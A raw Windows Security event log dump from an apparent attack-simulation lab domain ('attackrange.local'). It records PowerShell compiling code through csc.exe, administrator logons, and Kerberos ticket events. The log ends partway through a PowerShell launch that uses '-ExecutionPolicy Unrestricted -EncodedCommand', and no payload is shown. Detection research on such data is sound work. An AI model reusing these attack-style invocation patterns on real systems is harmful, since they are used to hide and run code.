C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1010 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBB51.tmp" "c:\Users\Administrator\AppData\Local\Temp\yvcl0vs4\CSC7A01F9535D7438DB3B21424DB1EB5A3.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258046 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\yvcl0vs4\yvcl0vs4.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258068 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5703C0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258067 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258066 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55ED3E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258065 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5703C0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258064 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5703C0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258063 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258062 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258061 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258060 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570395 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258059 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570395 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258058 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x570395 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258057 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258056 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {94F5FBEF-489D-AAF9-3BB5-270620D7B5A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258055 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258054 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x56205A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258053 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x561262 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=258052 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55F201 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x484 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBCB8.tmp" "c:\Users\Administrator\AppData\Local\Temp\dpghsoxh\CSC9100C513553D4E579BC5FD23841D6C4.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:47 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\dpghsoxh\dpghsoxh.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=258096 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x573406 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258095 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x573406 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=258094 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=258093 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {050B45FC-0D0E-AC38-6713-C08B99C3BD76} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=258092 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258091 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x474 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:48 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258090 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x57048D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12bc - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 